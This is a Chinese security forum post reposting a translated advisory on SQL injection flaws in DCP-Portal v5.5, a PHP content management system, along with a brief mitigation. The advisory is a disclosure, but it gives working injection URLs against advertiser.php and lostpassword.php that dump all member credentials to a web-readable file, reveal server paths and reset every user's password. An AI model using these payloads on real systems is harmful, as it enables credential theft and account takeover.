|
![]() | 作者: cck123 [cck123]
![]() |
登录 |
2003-10-03 16:57:45 by SuccKey(angel) 原作者:lifofifo 翻译整理:SuccKey 站点:http://www.4ngel.net 涉及版本 DCP-Portal v5.5(5.5版本是05/6/2003发布至尽的最新版本) 描述 DCP-Portal 是一款基于WEB的内容管理系统,能使管理员远程管理整个站点等。由http://www.dcp-portal.org/开发。由于DCP-Portal所有文件没有过滤用户提交的变量。导致任意用户可轻易利用SQL注入技术来攻击DCP Portal。 详细 如果服务器的php.ini里magic_quotes_gpc=off,那么DCP Portal是相当危险的。如果php.ini里register_globals=off,那么DCP Portal将不能正常运行。所有的文件里,没有检查用户提交的变量。例如,你可以通过advertiser.php文件获取所有用户名/口令,提交如下语句: http://localhost/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' or 1=1 UNION select uid,name,password,surname,job,email from dcp5_members into outfile 'c:/apache2/htdocs/dcpad.txt 如果是WINDOWS服务器,就会在c:/apache2/htdocs/目录下创建dcpad.txt文件。并记录了所有用户的一切敏感信息。但是*nix下却不能这样提交,只有: http://localhost/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' or 1=1 UNION select uid,name,password,surname,job,email from dcp5_members into outfile '/var/www/html/dcpad.txt 在这种情况下。需要知道程序的绝对路径。当php.ini里的display_errors=on。提交以下语句,就可以返回绝对路径。 http://localhost/dcp/advertiser.php?adv_logged=1&username=1&password=' 在查询里使用UNION函数的前提,是服务器必须运行着MySQL 4.x,因为只有MySQL 4.x才支持子查询。如果服务器运行MySQL 3.x。我们还可以利用lostpassword.php文件。提交以下语句: http://localhost/dcp/lostpassword.php?action=lost&email=fake' or 1=1--' 这是对DCP Portal来说是严重的。因为这样会重置所有用户的密码、所有用户将收到和用户数一样多的邮件,并且所有用户的密码将是在最后电子邮件里提供的那个。 解决办法 我不可能提供好的解决办法。但是只要把magic_quotes_gpc设置为on。就可以解决这些问题。另外,可以随时关注官方的补丁。 select category ------------------------------- 更新公告 原创天地 |
地主 发表时间: 10/08 08:57 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号